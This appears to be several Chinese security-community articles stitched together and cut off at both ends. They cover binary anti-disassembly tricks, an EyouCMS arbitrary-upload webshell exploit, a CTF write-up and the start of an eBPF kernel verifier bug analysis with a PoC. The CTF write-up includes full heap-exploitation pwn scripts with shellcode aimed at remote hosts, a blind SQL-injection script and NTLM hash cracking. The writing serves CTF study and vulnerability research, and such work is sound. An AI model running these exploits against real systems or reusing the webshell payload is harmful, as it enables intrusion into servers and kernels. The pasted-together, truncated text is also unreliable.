`func_wrapper`的参数是`1`，被`push`到栈中
而`vuln`函数调用之前先收回了原先参数`1`的栈，又压入了自己的参数`2`
我们可以把`vuln`的参数改成`1`，比如这样
> 去掉了一个`push 2`，对应的，多`sub esp,4`
保存patch版本，重新打开
显示已经变成了这样
在`gdb-peda`中调试一下，原先可以显示出`Guessed arguments`
现在虽然栈上的参数被我们改成了`1`，但也只是改了一个数值，而`Guessed arguments`已经显示错误了
# 子函数改父函数
很显然刚刚的技巧在动态调试时会暴露无遗，`IDA F5`虽然没有成功识别参数，但是也给出了程序的大致逻辑，这次我们用一些更复杂的方法来混淆干扰
## 源码、编译
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int func() {
getchar();
getchar();
getchar();
return 1;
}
int func_wrapper(int num) {
printf("%d",num);
func();
printf("%d",num);
return 2;
}
int main(int argc, char** argv) {
func_wrapper(1);
return 0;
}
编译：`gcc -m32 main.c -o test`
我们的目标是让`func_wrapper`中的两次`printf("%d",num);`输出不同的值
## patch1
关键的`patch`在`func()`里，预留的3个`getchar()`就是`nop`后留下空间表演的
## patch2
我们调试一下，看看`nop`时的`esp`的值，再根据`func_wrapper`的参数在栈上的地址，算出偏移
断在`printf("%d",num);`参数入栈前，发现`0xffffcfd0`处为参数
跟进，进入`func()`的一堆`nop`中
此时`esp`的值`0xffffcfb0`为
算出`esp`距离父函数的参数偏移为`0x20`
## patch3
我们在`func`中修改如下
中间改掉的三行就是把父函数`printf`的参数改掉了
原先运行会输出两个`1`，但是由于我们把第二次输出的参数改成了2，输出如下
> 中途调的时候有好多小问题...
此时，IDA打开，`func`函数已经无法`F5`了
在`func_wrapper`中也看不出我们在`func`里做了什么手脚
## 总结
原理不难理解，实际上手作为花指令单靠`patch`显然效率太低也容易被发现
> 上次`x64`的技巧，我 **夜影大哥** 给了一个C语言内联汇编在复杂函数中悄咪咪内联传参的建议，之后会试一下
另外，考虑 **递归函数** ，如果也在内层把外层的参数改了，可能会让人疯掉...没有敢去尝试
> 比如用一个随机数函数，加上内联汇编，符合某条件就改外层参数，栈回溯时会非常复杂 | 社区文章 |
### 0x01 前言
官网：<http://www.eyoucms.com/download/>
Cms下载地址：<http://www.eyoucms.com/eyoucms1.0.zip>
一顿查看以后，发现了个很奇葩的任意上传接口，这个漏洞应该是补天那个老哥提交的漏洞了。查找到以后就分析一波了。
### 0x02 利用
老样子：先讲如何利用
url: test.eyoucms1.0.com/index.php/api/Uploadify/preview
构造: <?php phpinfo;
post: data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
Shell:
<http://test.eyoucms1.0.com/preview/ae85d74a721b0b8bd247bc31207a12e2.php>
### 0x03 漏洞详解
漏洞文件： eyoucms1.0\application\api\controller\Uploadify.php
漏洞函数：preview()
这里我将每行有意义的代码都解释了一下帮助读者进行查看。
而我刚开始时也思考了一下，这会不会是作者故意搞的后门？
带着这个问题我去问了一下加的php群的一些程序员 他们很惊讶的 表示data:image/ 居然还可以不是图片？
好吧。到这里我就基本明白为什么这个漏洞会出现了，估计作者以为data:image/ 只能是图片。
### 0x04 漏洞修复建议
if (!in_array($type, array('jpg', 'png', 'jpeg', 'gif'), true)) {
exit;
} | 社区文章 |
# 美团CTF
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Misc
### Different_Puzzle
img直接diskgenius 导出
这里通过扇区排序。把png排序扫描
直接就能得到flag.txt
from PIL import Image
f=open('list.txt')
str=f.read()
str=str.split('\n')
print(str)
flag=Image.new('RGB',(278,100))
x,y=(0,0)
for i in str:
img=Image.open(i)
size=img.size
print(size)
flag.paste(img,(x,0))
x=x+size[0]
flag.show()
### Find_password
在流量包看到许多smb2协议的包，过滤出来可以看出在不停尝试登录：
在中间有一个包显示登录成功：
然后就参照 <https://research.801labs.org/cracking-an-ntlmv2-hash> 来复现
构造出ntlmv2：
nanming::MicrosoftAccount:6a99833ddd690e7a:980a5dc38aaff466c367eff70bcf80cb:010100000000000042325524355ed601421cb509516bc2e90000000002001e00570049004e002d004f004d004b004100540046003300520047004a00470001001e00570049004e002d004f004d004b004100540046003300520047004a00470004001e00570049004e002d004f004d004b004100540046003300520047004a00470003001e00570049004e002d004f004d004b004100540046003300520047004a0047000700080042325524355ed6010600040002000000080030003000000000000000010000000020000011ac824d212777625c616fadbb6dd0dfaf35a8e4d93f7960ec1eac5592e7cfde0a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e00330031002e00370035000000000000000000
然后用hashcat来爆破，由于文件名为pass%%%%，所以用掩码来爆破：
./hashcat -m 5600 -a 3 ntlm.txt pass?a?a?a?a
最后爆出来是pass1952，md5一下就是flag
## Web
### sql
import requests as r
import string
url = ""
sql = "binary(password)"
def str2hex(str):
ret =""
for i in range(0, len(str)):
ret+=hex(ord(str[i]))
ret = "0x"+ret.replace("0x","")
return ret
def blindcmp(start,end):
ret=""
for i in range(start,end):
for ch in string.printable:
payload=f"||left({sql},{len(ret+ch)})/**/in({str2hex(ret+ch)})#"
data ={
"username":"zbrsb\\",
"password":payload
}
#print(data)
req=r.post(url,data=data)
#print(req.text)
if (req.status_code != r.codes.ok):
continue
#print req.text
if "flag" in req.text:
ret=ret+ch
break
print(ret)
blindcmp(1,30)
sql盲注最后登录就行了。
## Crypto
### RSAsig
0day 签名的时候签(bytes_to_long(base64decode(enc_flag)))即可
### easy_RSA
首先一个Related Message Attack
sage: def franklinReiter(n,e,b,c1,c2):
....: R.<X> = Zmod(n)[]
....: f1 = X^e - c1
....: f2 = (X + b)^e - c2
....: m_ = GCD(f1,f2).coefficients()[0] # 返回的是首一多项式，coefficients()
....: 返回多项式各项式的系数，项式次数递增，所以第0项是常数
....: return Integer(n - m_) # 由于tmp其实是 -m % n,所以这里给他转换回去。
....:
....: def GCD(a, b):
....: if(b == 0):
....: return a.monic()^I^I# 返回首一多项式，即多项式最高次的项式系数为1
....: else:
....: return GCD(b, a % b)
sage:
sage: n=0x9371c61a2b760109781f229d43c6f05b58de65aa2a674ff92334cb5219132448d72c12
....: 93c145eb6f35e58791669f2d8d3b6ce506f4b3543beb947cf119f463a00bd33a33c4d566c4
....: fd3f4c73c697fa5f3bf65976284b9cc96ec817241385d480003cdda9649fa0995b013e66f5
....: 83c9a9710f7e18396fbf461cb31720f94a0f79
....: e=0x3
....: #encrypt(m)
....: c1=0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffbb
....: d5a5e1a10f686c3f240e85d011f6c8b968d1d607b2e1d5a78ad6947b7d3ec8f33ad32489be
....: fab601fe745164e4ff4aed7630da89af7f902f6a1bf7266c9c95b29f2c69c33b93a709f282
....: d43b10c61b1a1fe76f5fee970780d7512389fd1
....: #encrypt(m+1):
....: c2=0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffc5
....: c26b0c12bcff9f697f274f59f0e55a147768332fc1f1bac5bbc8f9bb508104f232bdd20091
....: d26adc52e36feda4a156eae7dce4650f83fabc828fdcfb01d25efb98db8b94811ca855a6aa
....: 77caff991e7b986db844ff7a140218449aaa7e8
sage:
sage: M = franklinReiter(n,e,1,c1,c2)
sage: M
69987496701884177944014408654911578926041003939816261720363083186042632062679566210634401639077276321287225569134
sage: from Crypto.Util.number import *
sage: long_to_bytes(699874967018841779440144086549115789260410039398162617203630
....: 83186042632062679566210634401639077276321287225569134)
b'the key is :everything_is_easy_in_this_question'
sage:
然后是一个many times password
明文应该是英文字母加一点标点符号
与2019De1CTF xorz差不多了。
哦，最后一组和有一次00开头的，不好处理，直接扔掉了，只用十组。加密密钥就是flag，最后根据意思猜一猜就好了。
import string
def xor(a,b):
return chr(ord(a)^ord(b))
#000a090f001e491d2c111d3024601405431a36231b083e022c1d,
c='''
280316470206017f5f163a3460100b111b2c254e103715600f13,
091b0f471d05153811122c70340c0111053a394e0b39500f0a18,
4638080a1e49243e55531a3e23161d411a362e4044111f374409,
0e0d15470206017f59122935601405421d3a244e10371560140f,
031a08080e1a540d62327f242517101d4e2b2807177f13280511,
16000406080c543854077f24280144451c2a254e093a0333051a,
02050701120a01334553393f32441d5e1b716027107f19334417,
131f15470800192f5d167f352e0716481e2b29010a7139600c12,
1609411e141c543c501d7f232f0812544e2b2807177f00320b1f,
0a090c470a1c1d3c5a1f2670210a0011093a344e103715600712'''.replace("\n","").split(",")
s = []
for i in c:
s.append(i.decode('hex'))
key=""
table = string.lowercase+string.uppercase+" ,."
for i in range(len(s[0])):
for k in range(126):
check=0
for j in range(len(s)):
tmp = xor(chr(k),s[j][i])
if tmp in table:
check+=1
if check == 10:
print(chr(k))
else:
#print check
pass
print "="*50
'''
f
==================================================
H
J
K
L
N
O
h
j
k
l
n
o
==================================================
a
==================================================
g
i
k
==================================================
D
G
X
Z
[
d
g
x
z
{
==================================================
i
==================================================
t
==================================================
_
==================================================
1
==================================================
s
==================================================
_
==================================================
P
==================================================
@
==================================================
d
==================================================
d
==================================================
1
==================================================
n
==================================================
]
_
==================================================
@
L
==================================================
`
n
==================================================
d
==================================================
_
==================================================
p
==================================================
@
==================================================
d
==================================================
Y
[
\
]
^
y
{
|
}
==================================================
'''
#flag="flag{it_1s_P@dd1n_@nd_p@d}"
### random1
首先解一个lfsr，输出足够多，给了mask，解一个线性方程即可
然后拿着key解密密文就好。
'''
#sage
b = open("change2", 'rb').read().decode()[:4]
b_l = []
for i in b:
for j in bin(ord(i))[2:].rjust(8,"0"):
b_l.append(j)
output = vector(GF(2),b_l)
A = []
mask = "10100100000010000000100010010001"
for i in range(32):
B = []
for j in range(32):
if j == 31:
B.append(mask[i])
elif j == i-1:
B.append(1)
else:
B.append(0)
A.append(B)
M = matrix(GF(2),A)
M =M^32
key = ""
for i in M.solve_left(output):
key+=str(i)
print(hex(int(key,2)))
'''
#python2
def key_padding(key):
k = [0] * 256
for i in range(256):
k[i] = key[(i) % len(key)]
return k
def s_box_a():
s = []
for i in range(256):
s.append(i)
return s
def s_box(s, key):
j = 0
for i in range(256):
j = (j + s[i] + ord(key[i])) % 256
s[j], s[i] = s[i], s[j]
return s
messages = 'WCbeI/BfRYydhk43yF1MIdOk4zPV'.decode('base64')
def main():
key1='0x1afea246'
key=[]
for i in range(len(key1)):
key.append(key1[i])
key=key_padding(key)
sbox=s_box(s_box_a(),key)
i=j=0
c=""
for x in range(len(messages)):
i = (i+1)%256
j = (j+sbox[i])%256
sbox[i],sbox[j]=sbox[j],sbox[i]
t=(sbox[i]+sbox[j])%128
c+=chr(ord(messages[x])^sbox[t])
print c
main()
### random
首先得到ed，n，拿来分解p，q
不知道e，根据 e * inverse(e,phi) == ed 爆一下，最后通过的是65553
然后给了这么多组LCG生成的伪随机数，经典LCG恢复参数，
import random
from gmpy2 import gcd
from Crypto.Util.number import *
def factor_n_with_ed(n,ed):
p = 1
q = 1
while p==1 and q==1:
k = ed - 1
g = random.randint(0,n)
while p==1 and q==1 and k % 2 == 0:
k /= 2
y = pow(g,k,n)
if y!=1 and gcd(y-1,n)>1:
p = gcd(y-1,n)
q = n/p
return p,q
n1=3563329754048976946603729466426236052000141166700839903323255268203185709020494450173369806214666850943076188175778667508946270492708397447950521732324059148390232744011000065982865974194986726739638097566303135573072114448615095262066554751858952042395375417151593676621825939069783767865138657768553767717034970
n2=3563121718917234588723786463275555826875232380691165919033718924958406353810813480184744219046717838078497090403751007254545187720107602959381881715875898243474504999760208133192572812110967142474619366650504948619637909653723376917174456091396220576841259798792078769198369072982063716206690589554604992470787752
n = (n1-n2)/2
ed = n1-n
p,q = factor_n_with_ed(n,ed)
phi = (p-1) * (q-1)
for e in range(1,66666):
if ed % e == 0:
if e * inverse(e,phi) == ed:
print(e)
e = 65553
d = inverse(e,phi)
m = bytes_to_long('you_can_get_more_message')
print(pow(m,d,q))
####################
pri = [3732074616716238200873760199583586585380050413464247806581164994328669362805685831589304096519259751316788496505512L, 8890204100026432347745955525310288219105398478787537287650267015873395979318988753693294398552098138526129849364748L, 3443072315415198209807083608377973177101709911155814986883368551162572889369288798755476092593196361644768257296318L, 4505278089908633319897964655164810526240982406502790229247008099600376661475710376587203809096899113787029887577355L, 9059646273291099175955371969413555591934318289156802314967132195752692549263532407952697867959054045527470269661073L, 3085024063381648326788677294168591675423302286026271441848856369032582049512915465082428729187341510738008226870900L, 8296028984288559154928442622341616376293205834716507766500770482261973424044111061163369828951815135486853862929166L, 2258750259954363171426415561145579135511127336142626306021868972064434742092392644953647611210700787749996466767026L, 4382123130034944542655156575000710851078842295367353943199512878514639434770161602326115915913531417058547954936492L, 10982933598223427852005472748543379913601896398647811680964579161339128908976511173382896549104296031483243900943925L]
from Crypto.Util.number import *
def gcd(a, b):
while b:
a, b = b, a%b
return a
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
def lcg(seed,params):
(m,c,n)=params
x = seed % n
yield int(x)
while True:
x = (m * x + c) % n
yield int(x)
(n,m,c)=crack_unknown_modulus([int(each) for each in pri])
flag = long_to_bytes(((pri[0]-c) * inverse(m,n))%n)
print flag
## Reverse
### maze100
angr跑100层。手动patch点东西就行
import angr
import claripy
right_list=[8782, 15581, 22350, 29053, 35792, 42537, 49240, 56189, 62880, 69667, 76244, 82971, 89758, 96521, 103302, 110173, 116984, 123819, 130648, 137603, 144414, 151225, 158102, 164847, 171556, 178343, 185070, 191911, 198746, 205563, 212356, 219161, 225942, 232747, 239516, 246321, 253102, 259901, 266676, 273481, 280298, 287037, 293842, 300605, 307596, 314335, 321092, 327879, 334684, 341609, 348372, 355219, 362108, 368823, 375628, 382373, 389238, 396007, 402716, 409461, 416194, 423065, 429936, 436753, 443618, 450567, 457372, 464141, 471012, 477781, 484652, 491553, 498460, 505301, 512142, 519043, 525770, 532425, 539326, 546185, 552984, 559813, 566660, 573375, 580150, 587015, 593874, 600679, 607604, 614451, 621220, 628079, 634752, 641563, 648482, 655287, 662116, 669017, 675960, 682663]
avoid_list=[[8538, 8719], [15337, 15518], [22106, 22287], [28809, 28990], [35548, 35729], [42293, 42474], [48996, 49177], [55945, 56126], [62636, 62817], [69423, 69604], [76000, 76181], [82727, 82908], [89514, 89695], [96277, 96458], [103058, 103239], [109929, 110110], [116740, 116921], [123575, 123756], [130404, 130585], [137359, 137540], [144170, 144351], [150981, 151162], [157858, 158039], [164603, 164784], [171312, 171493], [178099, 178280], [184826, 185007], [191667, 191848], [198502, 198683], [205319, 205500], [212112, 212293], [218917, 219098], [225698, 225879], [232503, 232684], [239272, 239453], [246077, 246258], [252858, 253039], [259657, 259838], [266432, 266613], [273237, 273418], [280054, 280235], [286793, 286974], [293598, 293779], [300361, 300542], [307352, 307533], [314091, 314272], [320848, 321029], [327635, 327816], [334440, 334621], [341365, 341546], [348128, 348309], [354975, 355156], [361864, 362045], [368579, 368760], [375384, 375565], [382129, 382310], [388994, 389175], [395763, 395944], [402472, 402653], [409217, 409398], [415950, 416131], [422821, 423002], [429692, 429873], [436509, 436690], [443374, 443555], [450323, 450504], [457128, 457309], [463897, 464078], [470768, 470949], [477537, 477718], [484408, 484589], [491309, 491490], [498216, 498397], [505057, 505238], [511898, 512079], [518799, 518980], [525526, 525707], [532181, 532362], [539082, 539263], [545941, 546122], [552740, 552921], [559569, 559750], [566416, 566597], [573131, 573312], [579906, 580087], [586771, 586952], [593630, 593811], [600435, 600616], [607360, 607541], [614207, 614388], [620976, 621157], [627835, 628016], [634508, 634689], [641319, 641500], [648238, 648419], [655043, 655224], [661872, 662053], [668773, 668954], [675716, 675897], [682419, 682600]]
func_list=[1930, 8783, 15582, 22351, 29054, 35793, 42538, 49241, 56190, 62881, 69668, 76245, 82972, 89759, 96522, 103303, 110174, 116985, 123820, 130649, 137604, 144415, 151226, 158103, 164848, 171557, 178344, 185071, 191912, 198747, 205564, 212357, 219162, 225943, 232748, 239517, 246322, 253103, 259902, 266677, 273482, 280299, 287038, 293843, 300606, 307597, 314336, 321093, 327880, 334685, 341610, 348373, 355220, 362109, 368824, 375629, 382374, 389239, 396008, 402717, 409462, 416195, 423066, 429937, 436754, 443619, 450568, 457373, 464142, 471013, 477782, 484653, 491554, 498461, 505302, 512143, 519044, 525771, 532426, 539327, 546186, 552985, 559814, 566661, 573376, 580151, 587016, 593875, 600680, 607605, 614452, 621221, 628080, 634753, 641564, 648483, 655288, 662117, 669018, 675961]
proj=angr.Project('./100mazes',load_options={'auto_load_libs':False})
md5_raw=b''
for i in range(100):
base=proj.loader.min_addr
func=func_list[i]+base
path=claripy.BVS('path',15*8)
state=proj.factory.blank_state(addr=func,stdin=angr.SimFileStream(name='stdin',content=path,has_end=False))
for j in range(8):
state.solver.add(path.get_byte(j)>=32)
state.solver.add(path.get_byte(j)<=126)
simgr=proj.factory.simgr(state)
avoid=[]
for a in avoid_list[i]:
avoid.append(a+base)
simgr.explore(find=right_list[i]+base,avoid=avoid)
solved=simgr.found[0].posix.dumps(0)
md5_raw+=solved
assert len(md5_raw)==1500
print(md5_raw)
## Pwn
### baby_focal
漏洞点在于能够多写16字节，从而覆盖下一块堆块的size字段。由于分配堆块使用的是calloc，所以考虑fastbin
attack，可以利用存储堆块的数组中的size字段来伪造出堆块的size字段，从而分配堆块到堆块数组中，配合edit即可实现任意写。
之后我们可以伪造出一块堆块，该堆块与unsorted bin中的堆块重叠，free掉它，然后切分unsorted bin的堆块，使得main
arena相关地址移到伪造堆块的fd字段，然后edit修改到stdout，通过爆破我们即可分配堆块到stdout从而泄露出libc地址。
有了地址配合任意写可以将free hook改为setcontext，然后借助mov
rdx,[rdi+8]这条gadget完成srop。最后执行orw的shellcode拿到flag。
exp:
from pwn import *
#context.log_level='debug'
context.arch='amd64'
def add(index,size):
sh.sendlineafter('>> ','1')
sh.sendlineafter('>> ',str(index))
sh.sendlineafter('>> ',str(size))
def edit(index,content):
sh.sendlineafter('>> ','2')
sh.sendlineafter('>> ',str(index))
if(content):
sh.sendafter('>> ',content)
def free(index):
sh.sendlineafter('>> ','3')
sh.sendlineafter('>> ',str(index))
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall'''
)
guess='\x5d\x96'
while(True):
#sh=process('./baby_focal')
#guess='\x5d'+chr(int(raw_input(':'),16))
sh=remote('115.28.187.226',32435)
sh.sendlineafter('input your name: ','velta')
add(0,0x40)
free(0)
for i in range(7):
add(0,0x250)
free(0)
for i in range(7):
add(0,0x120)
free(0)
for i in range(7):
add(0,0x60)
free(0)
add(0,0x60)
add(1,0x120)
add(2,0x120)
add(3,0x20)
edit(0,p64(0)*13+p64(0x261))
free(1)
add(1,0x250)
edit(1,'\x00'*0x120+p64(0)+p64(0x131)+'\n')
edit(2,p64(0)*22+p64(0)+p64(0x71)+'\n')
free(2)
add(2,0x60)
free(2)
edit(1,'\x00'*0x120+p64(0)+p64(0x71)+p64(0x404060)+'\n')
free(3)
add(2,0x60)
add(3,0x60)
add(1,0x10)
edit(3,'\x80'+'\n')
#pause()
free(1)
add(1,0x20)
edit(3,'\x80'+'\n')
edit(1,guess+'\n')
edit(3,p64(0)*2+'\n')
add(1,0x60)
try:
edit(3,p64(0)*2+'\n')
add(1,0x60)
edit(1,'\x00'*3+'\x00'*0x30+p64(0xfbad1887)+p64(0)*3+'\x00'+'\n')
except:
sh.close()
continue
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1eb980
print(hex(libc_base))
free_hook=libc_base+0x1EEB28
free_hook2=free_hook & 0xfffffffffffff000
pop_rdi=0x401b23
pop_rsi=0x401b21
pop_rdx=libc_base+0x11c371
gadget_addr=libc_base+0x154930
mprotect=libc_base+0x11BB00
setcontext=libc_base+0x00000000000580DD
puts_plt=0x401130
puts_got=0x403F80
read_addr=0x401160
edit(3,p64(free_hook)+p64(0x20)+'\n')
edit(1,p64(puts_plt)+'\n')
edit(3,p64(puts_got)+p64(0x20)+'\n')
free(1)
sh.recvuntil(']\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
edit(3,p64(free_hook-0x110)+p64(0x150)+'\n')
frame=SigreturnFrame()
frame.rsp = free_hook2
frame.rdi = 0
frame.rsi = free_hook2
frame.rdx = 0x2000
frame.rip = read_addr
payload=p64(0)+p64(free_hook-0x100)+p64(0)*4+p64(setcontext)+str(frame)[0x28:0x100]+p64(0)+p64(gadget_addr)
edit(1,payload+'\n')
free(1)
layout=p64(pop_rdi)+p64(free_hook2)+p64(pop_rsi)+p64(0x2000)+p64(0)+p64(pop_rdx)+p64(7)+p64(0)+p64(mprotect)+p64(free_hook2+8*10)
sh.send(layout+shellcode)
sh.interactive()
### zlink
漏洞点在于序号大于9的堆块分配后写入时存在off by null。我们先在fast
bin中布置足够的堆块，使得总大小大于0x510，然后利用分配0xf8和0x500的选项触发fastbin
consolidate。从而形成0x510大小堆块，用来制造堆块重叠的堆块，0x100大小堆块这样的布局。我们可以利用中间堆块来off by
null修改0x100堆块的prev_inuse位以及pre size字段，之后free即可造成堆块重叠。
重叠之后可以先切分unsorted bin堆块，利用残留的fd泄露出libc基址。然后fastbin attack分配堆块到main
arena中，size字段通过堆块地址的最高非0字节伪造，但当该字节为0x55时会报错，需要爆破到为0x56的情况。此时我们可以修改top
chunk到free hook上方。最后通过重复分配堆块，直到我们能够修改free
hook为setcontext。用之前分配的大量堆块构造srop的payload即可，然后也是用orw的shellcode读出flag。
exp:
from pwn import *
context.log_level='debug'
context.arch="amd64"
def add(index,size,content):
sh.sendafter(':','1')
sh.sendafter(':',str(index))
sh.sendafter(':',str(size))
sh.sendafter(':',content)
def edit(index,content):
sh.sendafter(':','6')
sh.sendafter(':',str(index))
sh.sendafter(':',content)
def free(index):
sh.sendafter(':','2')
sh.sendafter(':',str(index))
def show(index):
sh.sendafter(':','5')
sh.sendafter(':',str(index))
sh.recvuntil('Content : ')
def alloc():
sh.sendafter(':','4')
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall'''
)
#sh=process('./zlink')
#pause()
sh=remote('115.28.187.226',22435)
for i in range(10):
add(i,0x70,'a')
add(10,0x40,'a')
add(11,0x70,'a')
for i in range(12):
free(i)
alloc()
add(0,0x20,'a')
add(1,0x40,'a')
add(2,0x60,'a')
free(15)
add(10,0x38,'a')
edit(10,'a'*0x30+p64(0x580+0x50))
free(14)
add(3,0x70,'a'*8)
show(3)
sh.recv(8)
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x3c5018
print(hex(libc_base))
free_hook=libc_base+0x3C67A8#-0xb58
free_hook2=free_hook & 0xfffffffffffff000
read_addr=libc_base+0xf7350#0x00000000000F7350
setcontext=libc_base+0x47B85
arena=libc_base+0x3C4B35-8
pop_rdi=libc_base+0x21112
pop_rsi=libc_base+0x202f8
pop_rdx=libc_base+0x1b92
mprotect=libc_base+0x101870
free(0)
for i in range(7):
add(i+3,0x70,'a')
add(11,0x6f,'a')
add(12,0x5f,'a')
add(12,0x40,'a')
add(13,0x40,'a')
free(13)
free(12)
free(1)
add(0,0x40,p64(arena))
add(1,0x40,p64(arena))
add(0,0x40,p64(arena))
add(1,0x48,'\x00'*3+p64(0)*7+p64(free_hook-0xb58)[:6])
add(2,0x30,'a')
for i in range(22):
add(2,0x70,'a')
add(6,0x20,'a')
add(5,0x20,'a')
add(4,0x40,'\x00')
frame=SigreturnFrame()
frame.rsp = free_hook2
frame.rdi = 0
frame.rsi = free_hook2
frame.rdx = 0x2000
frame.rip = read_addr
payload=str(frame)
add(3,0x70,payload[0x50:0x50+0x60])
add(2,0x60,'\x00'*0x48+p64(setcontext))
#pause()
free(4)
layout=p64(pop_rdi)+p64(free_hook2)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx)+p64(7)+p64(mprotect)+p64(free_hook2+8*8)
sh.send(layout+shellcode)
sh.interactive() | 社区文章 |
# 0day！ZDI-20-1440：eBPF越界读写漏洞分析与利用（附PoC）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞背景
2020年4月份，ZDI收到一个Linux 内核eBPF模块越界读写漏洞的披露，编号为ZDI-20-1440，影响版本Linux
内核版本4.9~4.13，在Debian 9上应用相关版本的内核。根据ZDI
120天的漏洞披露原则，产商并未给出回应，所以此漏洞现未有相关漏洞补丁，以0day状态被披露。
## 漏洞分析
漏洞点在BPF_RSH操作，函数调用关系为do_check->check_alu_op->adjust_reg_min_max_vals->case
BPF_RSH
static int do_check(struct bpf_verifier_env *env)
{
//...
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn); // <-- [1]
if (err)
return err;
}
//...
}
static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
// ...
/* first we want to adjust our ranges. */
adjust_reg_min_max_vals(env, insn); // <-- [2]
//...
}
static void adjust_reg_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn)
{
//...
if (BPF_SRC(insn->code) == BPF_X) {
check_reg_overflow(®s[insn->src_reg]);
min_val = regs[insn->src_reg].min_value;
max_val = regs[insn->src_reg].max_value;
}
// ...
case BPF_RSH:
/* RSH by a negative number is undefined, and the BPF_RSH is an
* unsigned shift, so make the appropriate casts.
*/
if (min_val < 0 || dst_reg->min_value < 0)
dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
else
dst_reg->min_value = (u64)(dst_reg->min_value) >> min_val; // <-- [3]
if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
dst_reg->max_value >>= max_val; <-- [4]
break;
// ...
}
[3]、[4]处的操作是根据源寄存器的min_value和max_value
进行右移操作获得目的寄存器的min_value和max_value，然而计算错误了，这相当于：
dst_reg->min_value = (dst_reg->min_value) >> src_reg->min_value
dst_reg->max_value = (dst_reg->max_value) >> src_reg->max_value
但右移操作实际上是除法操作，要获得目的寄存器的最大值，应该用目的寄存器的最大值除以源寄存器的最小值，所以正确操作应该是：
dst_reg->min_value = (dst_reg->min_value) >> src_reg->max_value
dst_reg->max_value = (dst_reg->max_value) >> src_reg->min_value
所以poc 构造如下，这个版本的内核还未引入BPF_JLE，所以都用BPF_JGE来设置寄存器的范围：
static int load_my_prog()
{
struct bpf_insn my_prog[] = {
BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd),
BPF_MAP_GET(0,BPF_REG_8),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), //addr r_dst = (r0)
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), //addr r_dst = (r0)
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_LDX_MEM(BPF_DW,BPF_REG_3,BPF_REG_6,0),
BPF_LDX_MEM(BPF_DW,BPF_REG_4,BPF_REG_6,8),
BPF_JMP_IMM(BPF_JGE, BPF_REG_3, 0, 1),
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_JMP_IMM(BPF_JGE, BPF_REG_3, 0x1000, 7),
BPF_JMP_IMM(BPF_JGE, BPF_REG_4, 0, 1),
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_JMP_IMM(BPF_JGE, BPF_REG_4, 1024, 4),
BPF_ALU64_REG(BPF_RSH, BPF_REG_3, BPF_REG_4),
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_3),
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0),
BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10),
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,my_prog,sizeof(my_prog),"GPL",0);
}
打印日志如下：
2: (bf) r1 = r9
3: (bf) r2 = r10
4: (07) r2 += -4
5: (62) *(u32 *)(r10 -4) = 0
6: (85) call 1
7: (55) if r0 != 0x0 goto pc+1
R0=inv,min_value=0,max_value=0 R9=map_ptr(ks=4,vs=256,id=0) R10=fp
8: (95) exit
from 7 to 9: R0=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0 R9=map_ptr(ks=4,vs=256,id=0) R10=fp
9: (79) r8 = *(u64 *)(r0 +0)
10: (bf) r6 = r0
11: (bf) r7 = r0
12: (b7) r0 = 0
13: (79) r3 = *(u64 *)(r6 +0)
14: (79) r4 = *(u64 *)(r6 +8)
15: (35) if r3 >= 0x0 goto pc+1
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0 R4=inv R6=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0 R7=map_value(ks=4,vs=256,ip
16: (b7) r0 = 0
